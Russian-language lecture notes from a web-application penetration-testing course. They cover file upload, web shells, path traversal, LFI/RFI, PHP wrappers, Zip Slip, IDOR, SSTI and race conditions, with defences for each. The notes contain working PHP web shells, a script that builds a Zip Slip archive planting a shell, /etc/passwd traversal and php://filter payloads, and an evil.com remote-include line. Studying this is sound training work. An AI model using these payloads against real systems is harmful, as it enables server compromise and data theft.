# 7-11 Web Application Security Analysis (Advanced)
https://hackmd.io/6qrAKA33SH6XAvW0a5emmg
Лекции 1-6
https://hackmd.io/@Mart/HkNZarVn5
Web App Pentest
# File Issues
https://hackmd.io/dJlsKctSTfumVm72YFivXw
Темы занятия:
- File Upload
- Web Shell
- Mime Types
- Local File Read
- Local/Remote File Inclusion
- URL schema/PHP wrappers
- Arсhive upload
## File Upload
Атакa, при которой атакующий может загрузить исполняемый файл в доступный каталог веб-приложения, после чего переход на него приводит к выполнению произвольного кода на сервере.
## Web shell
#web_shell
Веб-шелл - программа, предназначенная для выполнения команд ОС через веб-приложение.
коллекция веб-шеллов (использовать аккуратно)
https://github.com/tennc/webshell
Самый популярный для php -wso (пентестеры особо не грузят такие громадные веб шелы)
https://github.com/tennc/webshell/blob/master/php/wso2.5.1.php
Web shell
## Простейший веб-шелл на PHP:
#php_shell
`<?php system($_GET['cmd']); ?>`
Так же работает в sql
Вставили содержимое в файл :
* echo '<?php system($_GET["cmd"]); ?>' > shell_unrestricted_file.php

Загрузили файл на сайт
Прописали в URL ?cmd=ls -la
http://csr8.psorokin.ru:8000/images/shell_unrestricted_file.php?cmd=ls%20-la

**WSO**
https://raw.githubusercontent.com/tennc/webshell/master/php/wso2.php.txt
Получили доступ к консоли.
В ней можно читать значение БД.
**disable_functions** перечень функций которые нельзя использовать, нам пхп скажет нельзя.
**Для безопасности PHP** - включать system и его клонов в функцию выше.

https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/php-tricks-esp/php-useful-functions-disable_functions-open_basedir-bypass
Для домашки
## Атака на внутреннюю сеть -
- запроксироваться через php
- и не выполняя команды ОС - развивать атаку
Web shell
## Веб-шелл на PHP с выводом ошибок и возможностью загрузки файлов:
Рекомендация от Павла
#web_shell_sorokin
```
proc_open позволяет читать stdout,stderr
system - показывает только stdout
<?php
$x="pipe";
$z=array($x, "w");
$proc=proc_open($_REQUEST["c"],array(array($x,"r"),$z,$z),$ps);
echo "Output: \n".stream_get_contents($ps[1]).
"Errors: \n".stream_get_contents($ps[2]);
echo "\nWrited bytes: ".file_put_contents(
$_REQUEST["fname"],
base64_decode($_REQUEST["data"]));
?>
```
Практика bWAPP
Other bugs/ Unrestricted File Upload
## Обход ограничений на расширения
Предположим что веб-приложение запрещает загружать файлы с расширением .php (реализует **черный** список).
### Для **Apache** можно загрузить .htaccess (локальная конфигурация апач, за пределы /чего_то не выйдет) с содержимым:
AddType application/x-httpd-php .jpg
- echo 'AddType application/x-httpd-php .jpg' > AddType.htaccess
Загрузили на сайт, поймали burp intercept запрос и скорректировали filename - оставили только **.htaccess**

Загружаем наш **шелл** и переименовываем файл

Переходим по ссылке
http://csr8.psorokin.ru:8000/images/shell2.jpg?cmd=ls%20-la

После этого картинки в папке станут **обрабатываться** **как PHP**.
## Extension power
Веб-сервера обрабатывают файлы в зависимости от **расширения**.
Загрузка файлов с такими расширениями что-то дает.
https://mike-n1.github.io/ExtensionsOverview
Один из способов повышения привилегии на виндовс: Если мы можем писать файлы в директории к апачу, то скорее всего можем залить файлик и он будет выполняться системой.

## File Upload MindMap
https://twitter.com/hackerscrolls/status/1404367003914321920
## JSP - web shell for java
<пример **tomcat**>
docker run -p 8071:8080 cth123123/tomcat_vulnerable
переходим для логина - /manager/html
http://csr8.psorokin.ru:8071/manager/html
tomcat:tomcat


Необходимо грузить war файл.
Сначала грузим веб шелл, потом подключаем метасплойт - так проще, в случае ошибок.

В архиве лежат 2 файла и 2 директории обязательные для веб-приложения.
Залили файл, переходим по ссылке. Получили шелл.


В **новых версиях томкат** - пароля по умолчанию нет, и там консоль manager отключена. За то появилось много RCE.
Так что пробьем его.
**Что внутри cmd_error**

## File Upload - Как защищаться?
**Рекомендуется**:
- Сохранять файлы в БД
- Сохранять файлы на s3 bucket с отдельным доменным именем (загружать в другое место, подальше от веб сервера). s3 bucket - cервис хранения файла, который работает по протоколу s3, разработанный амазоном для своего облака - отдельный сервер.
- Загружать файлы вне webroot (создать отдельную директорию /opt/uploads и туда грузить );
- Давать пользовательским файлам случайные имена( сохранить имя файла в бд, если нужен файл), не использовать расширение загруженного файла (веб сервер не будет их выполнять)
**Сложнее** и хуже работают:
- Белый список расширений файлов;
- Проверка содержимого файла на соответствие типу (например, проверка того, что файл действительно картинка)

## MIME types
MIME types
**Multipurpose Internet Mail Extensions** Определение типов по содержимому файла
Стандарт по именованию типов файлов.
Как правило веб-приложения определяют тип файла именно как MIME.
## MIME types Два разных подхода:
- На основе содержимого файла
- На основе переданного MIME-типа
Во-втором случае тип может быть легко подделан.

Когда мы загружаем файл на сервер - мы определяем тип файла в заголовке - Сontent-Type

Обход проверки - подделываем тип данных
один из **MIME types** - значение заголовка content-type

передаем json данные, а пишем что xml
## MIME types
Проверка на основе содержания файла может также быть **неэффективна** (смотря от чего мы защищаемся).
Есть известные полиглоты.
phar -> jpg/gif/etc. (в stub)
php -> gif/jpg/etc. (в любой секции данных)
В текстовые поля картинки (оборудование, дата фото и тд ) - можем записать что угодно.
Проверить на ghostscript - приложение на уязвимость , если где то грузятся картинки
https://xakep.ru/2018/08/23/ghostscript-rce/
## Path Traversal
Path Traversal
**Path (Directory) Traversal**
Атака, при которой веб приложение (получает от полльзователя путь к файлу/имя файла) атакующий может передавать в параметре, соответствующем имени файла символы **. ./** (или ..\ для Windows) для доступа к файлам в других директориях.
Path Traversal
## bWAPP - Directory Traversal

Содержимое текущей директории
http://csr8.psorokin.ru:8000/directory_traversal_2.php?directory=.

ДВе точки - попадаем в корень файловой системы
http://csr8.psorokin.ru:8000/directory_traversal_2.php?directory=..
Но такая ситуация почти никогда не встречается
С помощью данной конструкции мы можем прочитать /etc/passwd
http://csr8.psorokin.ru:8000/directory_traversal_1.php?page=../../../../../etc/passwd

В стандартных вариантах приложение работает так
`$data = file_get_contents("uploads/" .$_GET["file_name"])`
Дальше корня файла мы не уйдем, так что можем писать хоть 50 ../../../../../name_file
## Как обнаруживать
./asdcassac - пишем перед именем файла ./ и если в результате выдет тоже самое что без ./ - то еcть path traversal
**Классический вариант** параметр .....php?page=about/contacts
php?page=./contacts если возвращает одинаковый ответ, то есть уязвимость
Такими запросами мы можем обойти правила фильтрации

## Path Traversal - Как защищаться?
- Вместо настоящих путей до файлов используйте идентификаторы, их и принимайте от пользователей.
- Нормализуйте путь, переданный пользователем, и проверяйте что результат внутри ожидаемой директории
- Блокируйте запросы в которых есть две точки подряд “..”
На случай если ../ - заменяется на пустое значение

То нас спасет ....//....//....//

Обходим проверку такой конструкцией

!Если задетектили какую нибудь атаку - нам передают чтото странное, не надо пытаться спасать запрос **надо его заворачивать/отбросить**.
Потому что попытки спасти могут привести к bypass
**Пример некорректной конфигурации nginx**

Встречается на СTF
## Local & Remote File Inclusion
## Local File Inclusion
Уязвимость, при которой пользовательский ввод попадает в параметр функций **include** или **require** PHP, что может привести к выполнению загруженных пользователем файлов.
Include - не требует наличие файла, если его не будет, то будет Warning
Require - требует наличие файла
```
Попадает пользовательский ввод и в ней есть файлики,
которые приложение может заинклюдить,
в зависимости от того что введет пользователь
include ("./include/"+$_GET['page'])
```
Создаем index.php
```
<?php
include ("for_include.php");
?>
<h1>hahaha</h1>
```
Cоздаем include. Он выполнит этот файл
```
<?php
echo "vasya bil zdes"
?>
```
И результат выполнения будет подставлен в место, где эта функция вызывается


Можем включить что угодно и это будет выполняться.

Local File Inclusion
Пример работы функции include
## Local File Inclusion атака в основном характерна для php
Идея атаки следующая - загружаем файл с <?php ... ?>, а после передаем путь до него функции include.
```
include($_GET['page']);
page=upload/123.jpg
```
http://csr8.psorokin.ru:8000/rlfi.php?language=lang_en.php&action=go
**lang_en.php** - include
Можем прочитать etc/passwd
http://csr8.psorokin.ru:8000/rlfi.php?language=../../../../etc/passwd&action=go

Function include внедряет в генерируемый ответ http приложния
Обратимся к ранее залитому шеллу
csr8.psorokin.ru:8000/rlfi.php?language=images.shell2.jpg&action=go&cmdla -la

Заинклюдили
Если у нас есть local file inclusion и ранее мы залили картинку(а веб приложение стоит белый список расширий), то мы можем вот таким образом заинклюдить его
## Remote File Inclusion
Веб-приложение может “инклюдить” удаленные файлы, например:
`include('http://evil.com/123.php')`
Возможно только при настройках **PHP** (в php.ini):
```
Если это включено, то мы можем инклюдить удаленные файлы
allow_url_include = On
allow_url_fopen = On (она позволяет передавать url функции для чтения/записи файлов)
```





Заинклюдили уделенный файл. Сначало скачало, потом выполнило приложение на сервере.
В реальной жизни скорее всего **не встретится**.
Сессии мы можем контролировать, они лежат в /var/lib/php5. Если веб приложение пишет в сессию то , что мы контроллируем, то мы можем заинклюдить сессию.

В сессии сохраняем данные из сессии
В арр/session.php добавили вот такую конструкцию

В реальной жизни пишется email, можем туда записать(все что связано с пользователем); посмотреть что за фреймворк используется

../../../../var/lib/php5/sess_ &cmd=ls -la
## LFI
bWAPP - Remote & Local File Inclusion
Демонстрация LFI
Демонстрация RFI (php.ini)
Демонстрация LFI через файл сессии
## PHP и нулевой байт
Если приложение при включении файла добавляет расширение, а мы не можем загрузить .php:
`include('/includes/'+$_GET['lang'] + '.php');`
то может помочь нулевой байт (в url кодировке **%00**
```
lang=../uploads/123.jpg%00
```
```
include('/includes/../uploads/123.jpg%00.php')
```
В старых версиях ПХП - нулевой байт и остаток он отбросит. В #C нулевой байт обозначает что строка закончена.
- Не работает в современных версиях PHP
## LFI/RFI - Как защищаться?
Создать белый список файлов, включение которых разрешено. Проверять что переданный параметр соответствует одному из этих файлов.
<Демонстрация в bWAPP security_level=2>
## Local File Read
Local File Read
Атака, в результате которой атакующий получает возможность чтения файлов из файловой системы хоста с уязвимым приложением.
## Local File Read А что читать то?
- Стандартные файлы сервисов и ОС
- Исходный код
## Local File Read - Стандартные файлы
- /proc/* (виртуальная файловая система - содержит информацию о запущенных процессах)(самый важный файл - environ - хранятся переменные среды, в них передаются секреты)
- /etc/passwd, /etc/issue/ (версия ОС), /etc/hosts (соседи), /etc/hostname (сетевое имя текущего сервиса), etc.
- Логи: /var/log (пароли могут передаваться в GET параметры)
- Конфиги: nginx, apache, php, etc. (то с чего надо начать)

proc/self/ cat environ (self - идентификатор текущего процесса)
cwd - симлинк на текущую директорию ( если мы не знаем в какой директории запущен apache)
Если мы обратимся к proc/self/cwd то нас приведет на корневой каталог нашего приложения (больше актуально для питона, node.js)


Неплохой перечень:
https://nets.ec/File_Inclusion
https://raw.githubusercontent.com/DragonJAR/Security-Wordlist/main/LFI-WordList-Linux
https://sushant747.gitbooks.io/total-oscp-guide/content/local_file_inclusion.html
## Local File Read - Исходный код
Положение webroot можно найти в конфиге nginx/apache
PHP/Python/JS: качаем index.php/wsgi.py/index.js, в нем смотрим зависимости, качаем их, инклюдим и т.д.
Компилируемые - качаем собранные модули и декомпилим
## Local File Read - Исходный код C#
C# - как правило код в DLL.
web.config как правило лежит(в текущей директории, откуда запущено веб приложение) в webroot и может содержать имя DLL
DLL можно скачать из webroot или webroot/bin
и декомпилируем ее
## Local File Read - Исходный код C# - Декомпиляция:
C# - Декомпиляция:
- .Net Reflector
- ILSpy -сейчас самый топовый
- dotPeek
- dnSpy
Лучше два последних
## Local File Read - Исходный код Java
Java:
Код в .jar файлах либо в .class файлах
- WEB-INF/web.xml - тут описание всего приложения (главный файл)
- WEB-INF/lib - тут могут быть .jar (скомпилированные исходники лежат тут или ниже)
- WEB-INF/classes - тут в подпапках скомпилированные Java-классы
## Local File Read - Исходный код Java - декомпиляция
Java - декомпиляция:
- JD-gui
- Jadx-gui
- fernflower
- bytecode-viewer - объединяет все выше указанные
https://github.com/Konloch/bytecode-viewer/releases
!Получить имена директорий/пользователей и перебирать ssh ключи
## URL Schema в операциях с файлами
URL Schema
Полезные схемы:
- file:// - обращение к локальным файлам
- data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ (при открытии этого файла и его чтении будет возвращена декодированная строка) - cодержимое файла находится в ссылке

плюс = %2b


file:/// (2 слеша - это схема, а 3 слэш - корень файловой системы/начало имени файла)
URL Schema
**file://**
Может в некоторых случаях помочь обойти какие-то блокировки
URL Schema
**data://**
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
Может использоваться в LFI, если мы ничего не можем загрузить.
## PHP Wrappers
#php_wrappers #php_schema
PHP поддерживает ряд схем-оберток, которые могут использоваться в операциях с файлами.
https://www.php.net/manual/en/wrappers.php
## PHP Wrappers Схема php://
Схема php:// - позволяет обращаться к частям php процесса
php://input - содержимое тела запроса (имя которому соответсвует тело http запроса)

Это способ инклюда , когда мы не имеем возможности загружать файлы , но требуется allow url include, который обычно выключен.
php://filter - возможность применить фильтры, встроенные в пхп к каким то потокам данных.
php://filter/resource=/etc/passwd
! php://filter/read=convert.base64-encode/resource=/etc/passwd - применяет фильтры, позволяет читать локальные файлы - применяется для чтения исходников

Получили содержимое /etc/passwd в закодированном виде
Декодировали:

csr8.psorokin.ru:8000/rlfi.php?language=php://filter/read=convert.base64-encode/recource=index.php&action=go&cmd=ls -la
В данном случае мы прочитали index.php
https://www.php.net/manual/en/wrappers.php.php
выведет содержимое /etc/passwd

## URL Schema
Если разработчики запрещают использовать какие то схемы, которые нам хотелось бы (например, file://), то дополнительные схемы PHP могут нам помочь.
<Демонстрация data://
php://input
php://filter
URL Schema
Практика - Wrappers.
## Archive Upload Issues
С загрузкой архивов связано **две основные проблемы**:
- В архиве содержатся файлы с …/ в имени (Zip Slip). (приложение принимает архив, приложение распакует его в другой директории, то файлы в другой директории могут быть стерты; можно запискать)
- В архиве содержатся символические ссылки, что может привести к чтению/записи файлов вне ожидаемой директории
## Zip Slip
#web_zip
Файлы с ../../ распаковываются архиватором вне ожидаемой директории. В результате могут быть созданы или перезаписаны файлы приложения или системы.
## Zip Slip - создание архива
Cоздаем архив, который распакует index.php на 4 каталога выше
`zip -r zipslip.zip ../../../../app/index.php`
## Zip Slip - создание архива - код на Python
```
import zipfile
from io import BytesIO
def _build_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../var/www/html/shell.php','<?php passthru($_GET["c"]); ?>')
z.close()
zip = open('poc.zip', 'wb')
zip.write(f.getvalue())
zip.close()
_build_zip()
```

## Zip Slip защищены
Большинство утилит командной строки и библиотек на данный момент **защищены** от Zip Slip, но если разработчики считывают архив самостоятельно, то ошибки все еще возможны.
Если анзипом разархивировали, то файл создался в данном каталоге

**Создание архивов**
Чтобы не расставлять файлы в файловой системе перед их упаковкой командой zip, можно воспользоваться функцией на **python**.
## Symlinks
В архив может быть помещена символическая ссылка.
Если веб-приложение разархивирует симолические ссылки и позволяет читать разархивированные файлы, то мы можем прочитать файлы из других директорий.
## Symlinks архив с символической ссылкой
Создать архив с символической ссылкой:
```
ln -s ../../../../etc/passwd file
zip --symlinks res.zip file
```
Если веб-приложение позволяет читать разархивированные файлы, то мы можем прочитать файлы из других директорий.



Получилась **атака local file read**
# Занятие 8. Уязвимость Broken Access Control
Пятница, 12 августа 2022г., с 19:00 до 22:00 (МСК)
Уязвимость обход контроля доступа (Broken Access Control), разграничение доступа в веб-приложениях, на функциональном уровне и на уровне объектов, оптимизация защиты от уязвимости. Изучение работы шаблонов, изучение уязвимостей, автоматизация эксплуатации уязвимостей шаблонов
........
https://hackmd.io/niBPBqsSQ7S3cPrqccBvsA
Web App Pentest
**Broken Access Control**
**SSTI**
**Race Condition**
Вопросы по заданиям?
## OWASP A01:2021-Broken Access Control
Действия, разрешенные аутентифицированным пользователям, зачастую некорректно контролируются. Злоумышленники могут воспользоваться этими недостатками и получить несанкционированный доступ к учетным записям других пользователей или конфиденциальной информации, а также изменить пользовательские данные или права доступа.
## Определения
**Идентификация** — процесс определения, что за человек перед нами.
**Аутентификация** — процесс подтверждения, что этот человек именно тот, за кого себя выдает.
**Авторизация** — процесс принятия решения о том, что именно этой аутентифицированной персоне разрешается делать. ( Сейчас мы рассматриваем эту стадию)
## Разграничение доступа в веб-приложениях
Можно выделить **два уровня** разграничения доступа:
- на функциональном уровне (обычно используется ролевая модель разграничения); (Вертикальное разграничение доступа)
- на уровне объектов (обычно используется избирательная модель доступа);(Горизонтальное разграничение доступа)
## Разграничение доступа на функциональном уровне
system-admin:
- /admin/create-user
- /admin/delete-user
manager:
- /manager/create-company
- /manager/assign-user-to-company
user:
- /user/create-comment
- /user/send-message-to-manager
## Разграничение доступа на уровне объектов
Пример - система ДБО. - горизонтальное разграничение доступа.
У пользователя есть несколько карт.
Для оплаты счета пользователь вызывает метод
**/makePayment** (ручка - сделать платеж), передавая ему одним из параметров **card_id** (число)
Веб-приложение долж но проверять что этот конкретный пользователь может пользоваться этой конкретной картой.
## Broken Access Control
Собирательная уязвимость, основными двумя частями которой являются:
- Missing Functional Level Access Control (MFLAC)
- Insecure Direct Ob ect Reference (IDOR) (Небезопасная прямая ссылка на объект) (Один пользователь получает доступ к файлам другого)
## IDOR
Базовый пример:
(как искать айдор)
http://example.com/profile?userId=543
А почему бы не попробовать ?
http://example.com/profile?userId=544
**Защита - проверка ролей**. Реализовывать контроль доступа в каждой функции
### Примеры
bWAPP
IDOR: Change Secret
Есть секрет текущего пользователя . Посмотрим его

Поменяли секрет.
Создаем нового пользователя.
!**Совет** использовать multi account container в мозиле (группа окон в браузере - отдельно сохраняются куки)



Burp
идет изменение секрета


МЕняет секрет пользователю
IDOR: Order Tickets
можем купить билеты


меняем прайс
Купили 10 билетов за 0 евро

(Таким методом можно накрутить бонусов)
**В обоих случаях мы видим что в трафике что-то летит и мы можем поменять**
Типичная история атаки на обмен валют - **атака на округление в большую сторону**
HackerU CTF task (http://128.199.33.87:8082/)
## MFLAC
Обычный пользователь смог дернуть ручку админа
system-admin:
/admin/create-user
/admin/delete-user
manager:
/manager/create-company
/manager/assign-user-to-company
user:
/user/create-comment
/user/send-message-to-manager
## MFLAC
А доступны ли пользователю с определенной ролью функции, которые ему не должны быть доступны.
**Защита** - вешать аннотацию
## Тестирование на BAC
Плагин для Firefox Multi-Account Containers
https://addons.mozilla.org/ru/firefox/addon/multi-account-containers/
Позволяет иметь рядом в браузере вкладки, аутентифицированные под разными пользователями.
<Демонстрация>
Задание
Спецификация для приложения
(описание всех ручек)
https://hackmd.io/Z6V2jfp8T0Kf_zUAh6iUbg
## Спецификация секции администрирования приложения Broken Access Control
### /admin
### GET /admin/main
Главная страница
### GET /admin/users
Список зарегестрированных пользователей
### GET /admin/create_user
Страница создания пользователя
### POST /admin/create_user
Создание пользователя
Params:
- first_name - имя (не менее 2 символов)
- last_name - фамилия (не менее 2 символов)
- login - логин (не менее 4 символов)
- role - роль ['admin','manager','user']
- password - пароль (не менее 6 символов)
### GET /admin/delete_user/<user_id>
Удаляет пользователя
Params:
- GET[user_id] - идентификатор удаляемого пользователя
### GET /admin/change_password/<user_id>
Страница изменения пароля пользователя
Params:
- GET[user_id] - идентификатор пользователя
### POST /admin/change_password/<user_id>
Изменение пароля пользователя
Params:
- GET[user_id] - идентификатор пользователя
- password - новый пароль (не менее 6 символов)

проверка ролей

idor - уязвимость


Нужно в каждой функции использовать контроль доступа ( потому что забыть легко) по этому это **OWASP TOP 1**
**Полуавтоматизированное средство Autorize in Burp**

идея - замена куки (настроить)
отправляет куку пользователям и выдает что выдает что не выдает.
Протыкать функционал одного пользователя, а Autorize протыкает другого пользователя
## Поиск входных точек
Если кода нет, у нас ограниченная учетка, но мы предполагаем что MFLAC может иметь место, то нам нужно найти корректные имена URL или параметров.
* Можно анализировать javascript (код админки, там все ручки есть, вынимаем инструменты для этого) (содержится весь код фронта)
Достаем все ссылочки
#brut_mflac #brut_idor
### * Брутим - Словари для подбора
#brut_tools_web
https://github.com/assetnote/kiterunner (содержит апишки ( может брутить пути и методы POST,PUT,DELETE))
#wordlist_web
https://github.com/chrislockard/api_wordlist (апи ворд лист)
https://github.com/sorokinpf/ApiWordlistGenerator
генератор листов от Павла

verb noun (глагол и существительное) + СamelChain
Можно использовать этот словарь для предыдцщих заданий
### Реализация и рекомендации
Разграничение доступа на функциональном уровне можно сделать с помощью фреймворков. **MFLAC**
Для реализации разграничения доступа на уровне объектов необходимо делать проверку в каждой функции. **IDOR**
<Демонстрация кода>
**Рекомендации**
* Реализовать контроль доступа единообразно во всем веб-приложении (на одной аннотации)(единоьразность - хорошо для безопасности)
* Использовать непредсказуемые идентификаторы объектов (uuid рекомендуется ver4(случайные идентификаторы))
https://ru.wikipedia.org/wiki/UUID
* (xxxxxxxx-xxxx-Mxxx-Nxxx-xxxxxxxxxxxx) Рекомендуем разработчикам использовать UUID v4 (в некоторых случаях, когда айди не утекает)
* Для защиты от IDOR рекомендуется писать тесты пытающиеся получить доступ к чужим данным.
(для тестировщиков - высокий уровень безопасти)
## SSTI (Server Side Template Injection)
Шаблон запросов на сервер.
**Инъекция** в язык шаблонов на серверной стороне
### Шалблоны HTML-страниц
Шаблоны используются разработчиками для создания HTML-страниц.
Разработчики единожды делают шаблон, потом в определенные его места подставляются необходимые данные и шаблон передается пользователю.
### Шаблоны HTML-страниц
Существует значительное количество различных шаблонизаторов для разных языков/фреймворков.
### Шаблоны HTML-страниц
Шаблоны реализуют свой собственный язык.
Язык шаблонов может позволять выполнять не только вывод информации, но и её обработку, фильтрацию, итерирование по спискам и т.д.
В некоторых языках шаблонов существует возможность выполнения опасных операций.
### Шаблоны HTML-страниц Примеры
Примеры:
### jinja2 (BAC) используется во фласке
Главная страница пользователя администратор

функция для вызова какого то экшена

цикл генерит - сколько юзеров столько и таблиц
### TWIG
https://github.com/marvin/php-twig-example/blob/master/index.php
Генерится name & title



### Razor
https://docs.microsoft.com/ru-ru/aspnet/core/razor-pages/?view=aspnetcore-3.0&tabs=visual-studio#the-home-page
Используется в **дотнет** приложениях

SSTI
## Server Side Template Injection
Уязвимость, при эксплуатации которой данные атакующего внедряются в шаблон перед его рендером, что приводит к возможности использования любых функций шаблонизатора.
## Server Side Template Injection
**Возможности атакующего зависят от шаблонизатора:**
* выполнение произвольного кода
* чтение локальных файлов
* доступ к переменным в доступной зоне видимости
Server Side Template Injection
### Portswigger Academy:
https://portswigger.net/web-security/server-side-template-injection
James Kettle - крутой ресерчер из команды Portswigger (находит принципиальные вектора атак и создает новые методики теста уязвимостей)
https://portswigger.net/research/server-side-template-injection


Надо добится выполнения произвольного кода и удалить файл morale.txt
Потом в бурпе в истории запросов вбиваем цифру умножения и получаем уязвимые страницы
Server Side Template Injection
### Готовые вектора в некоторых шаблонизаторах есть на PayloadAllTheThings
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Template Injection
Server Side Template Injection
#web_tools #tplmap #ssti_tools
### tplmap - приложение для автоматизированной эксплуатации уязвимостей SSTI. (можно подсмотреть вектора Если вектора нет в **PayloadAllTheThings**)

https://github.com/epinna/tplmap
## Server Side Template Injection
Если вектора нет в **PayloadAllTheThings** и нагуглить не удается, то надо браться за документацию.
Server Side Template Injection

передаем шаблон в виде строки (поэтому уязвимость существует) (сначала рендер один, потом он попадает в другой шаблон) - **двойной рендер** и отсюда возникает SSTI. Когда шаблон генерируется из пользовательского ввода.
Примеры:
docker run -p 8083:80 -d cth123123/twig_ssti
https://github.com/BlackFan/ctfs/tree/master/volgactf_2020_quals/newsletter
Portswigger - 1 пример SSTI
https://portswigger.net/web-security/server-side-template-injection/exploiting - выполнение заданий в академии

сгенрировалась лабораторка

тут взаимодействуем с приложением и тут находится уязвимость
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
**PayloadsAllTheThings/Server Side Template Injection at master** ·

проверяем с языка руби 7 на 7 - сработало =49

Читаем локальные файлы


удаем файл из домашнего каталога
**Вапалайзер подсказывает иногда Шаблонизатор.**
Рекомендация к обнаружению - сохранить себе `${7*7}` или большие числа - тыкать в разные места, и потом посмотреть в бурпе - search in http history - результат умножения этих чисел
## TWIG
http://csr8.psorokin.ru:8083/
Указываем почту и приветствие отправлялось на почту


Здесь используется template на основе строки, в которой конкатенируется наше имя.

Браузер не дает нам отправить - некорректный емейл

фильтрует корректный емейл или нет

дзесь сработает особенность емейлов - **""** **двойные кавычки перед собакой**


для возвращения массива надо сделать join


\x20 - вместо пробела
ls\x20-la
**Защита** - не делать конкатенация в render template
Упражнение
Portswigger 2 и 4.
## Race condition
### Состояние гонки
Проблема многопоточных приложений, при которой конечный результат зависит от того, в каком порядке потоки получат управление. (в каком порядке они были вызваны и получили квант процессорного времени)
Race condition
Пример с переводом денег


Отправили 2 запроса одиниковых

тут второй транш остановили
2 потока пошло, 1 поток остановился и запустился 2 поток

а тут квант времени получил первый поток

а тут пошло дальше - 900 руб сгенерировалось у польз из воздуха
Практика в Банк нолик
apt - get install jupiter / pip install jupiter


исходный код

тут процесс засыпает на секунду

далее берется баланс ресиввера
МЫ регистрируем 2 польз. Будем гонять деньги от одного к другому и если в сумме больше 200 руб, значит все получилось.
Для эксплуатации нам придется программировать

Павел начинает в нем и потом создает скрипт

 - сохдать кусок кода на питоне
**BURP -Extencions-Copy As Python-Requests** выполняет запрос на питоне

Копируем кусок кода в юпитер.
**Важно знать как работают PHP сессии**

добавили send_money(to,amount):

Надо как можно ближе по времени к друг другу отправить

Используем threadPoolExecution (для многопоточности)
```
from concurrent.furures import ThreadPoolExecutor
with ThreadPoolExecutor(max_workers=50) as pool:
pool.map(thread_func,lines)
```

примерно одновременно отправляем 3 раза функцию

в качестве прокси указали наш бурп

удалил процесс и поднял докер еще раз - изза нехватки памяти
Race condition
Способ защиты - синхронизация. Один поток “захватывает” (acquire) объект синхронизации. Пока он не “отпущен” (release), другие потоки не могут обращаться к защищаемым ресурсам.
Race condition
Синхронизация может быть выполнена:
программно;
на уровне сессий;
на уровне БД;
Race condition
Синхронизация на уровне БД.
Используются транзакции и конструкции FOR SHARE, FOR UPDATE и другие .
Race condition
Встречается также в других случаях, например, при проверке одноразовых паролей OTP.
Race condition
Для одновременной отправки запросов можно также использовать плагин Burp Turbo Intruder:
https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack
Скрипт:
https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race.py
Race condition
Пример реальной накрутки бонусов в Starbucks:
https://habr.com/ru/post/258449/
Race condition
Также возникают в случаях с файлами. Файл на ФС находится не долго и атакующему нужно успеть к нему обратится.
Актуально для File Upload/LFI.
Задания
Burp Academy: Horizontal Privilege Escalation
https://portswigger.net/web-security/access-control
на CTFd (http://psorokin.ru)
тест для самопроверки в LMS.
# Занятие 9. Небезопасное сравнение и приведение типов в PHP. Состояние гонки.
Вторник, 16 августа 2022г., с 19:00 до 22:00 (МСК)
Атака использующая небезопасное сравнение, уязвимость приведения типов в PHP. Защита от логических багов и защита потоков синхронизацией
https://hackmd.io/81Vpd0QcSUaHqPM_33MijA
Raise Condition

CopyAsRequests

Задаем куку - от имени пользователя


модуль реквест к бурпу


10 запросов отправляем
дело в том что когда рпр вызывает

Как не допустить рейс кондишн на уровне сессий
Пока 1 запрос не выполнится, 2 будет ждать

Блокировка на уровне сесий
Чтобы отправить 10 щапросов , надо сделать для 1 польз много сессий на 1 пользователю


извлечение идентиф сессий
и функция возвращает сессию
allow_redirect=False -

добавляем в фйнкцию отправки



5 раз будет вызвана функция логин
и дальше добавляем кому добавляем и сколько

отправили по 120 руб 5 раз


3 раза атака сработала из 5
это может не с первого раза сработать
надо прогонять 1000 раз в каждую сторону.

отправляем в обратнуб сторону
https://habr.com/ru/post/258449/
с помощью рейс кондишн и переводе с карты на карту он накрутил бонусов

для дз - понять как файлы загружаются и быстро удаляются

засыпает на секунду
## Race condition
Способ защиты - **синхронизация**. Один поток “захватывает” (acquire) объект синхронизации. Пока он не “отпущен” (release), другие потоки не могут обращаться к защищаемым ресурсам.
Race condition
### Синхронизация может быть выполнена:
программно;
на уровне сессий;
на уровне БД (чаще всего);
Race condition
### Синхронизация на уровне БД.
Используются транзакции и конструкции FOR SHARE, FOR UPDATE и другие . Будет работать пока не введем commit/roll back

зашли в 2 интерфейса и 2 потока одновременно пытаюься обратится

переходим в режим транзакции - autocommit
set autocommit=0;

написан баланс

делаем for update в 1 транзакции и во второй

поток завис пока 1 транзакция закончит когда напишем commit

блокируется 1 строчка (можем заблокировать 10)
Если пишем на питоне то должны знать библиотеку web request
Race condition
Встречается также в других случаях, например, при проверке одноразовых паролей OTP.
Race condition
Для одновременной отправки запросов можно также использовать плагин **Burp Turbo Intruder**:
https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack
можно вложить кусок кода на питоне и он пытается одновремменно отправить запрос , но много гемора с синтаксисом бурпа
Скрипт:
https://github.com/PortSwigger/turbo-intruder/blob/master/resources/examples/race.py
Race condition
Пример реальной накрутки бонусов в Starbucks:
https://habr.com/ru/post/258449/
Race condition
Также возникают в случаях с файлами. Файл на ФС находится не долго и атакующему нужно успеть к нему обратится.
Актуально для File Upload/LFI.
Задания
Burp Academy: Horizontal Privilege Escalation
https://portswigger.net/web-security/access-control
на CTFd (http://psorokin.ru)
тест для самопроверки в LMS.
# Web App Pentest
Logical bugs
Prototype Pollution
Вопросы по заданиям?
## Logical bugs
Логические ошибки допущенные разработчиками могут позволить атакующему выполнить запрещенное действие, обойти проверку и т.д.
## PHP Loose Comparison & Type Juggling
слабое сравнение и жонглирование типами
PHP LC & TJ
PHP содержит два оператора сравнения:
== - нестрогий(слабое), допускает приведение типов
=== - строгий, типы должны совпадать
https://owasp.org/www-pdf-archive/PHPMagicTricks-TypeJuggling.pdf

**какие типы данных являются сравнивыми**
0 сравнимый с любой строкой - дает тру , таким образом можнно обойти СSRF защиту
заходим в БВАПП

php -a интерактивый режим пхп
делаем сравнения

если тру то сперед пишется 1

пхп пытается интерпретировать строку в число, по умолчанию будет 0

пустой массив сравниваем с False - 1 будет
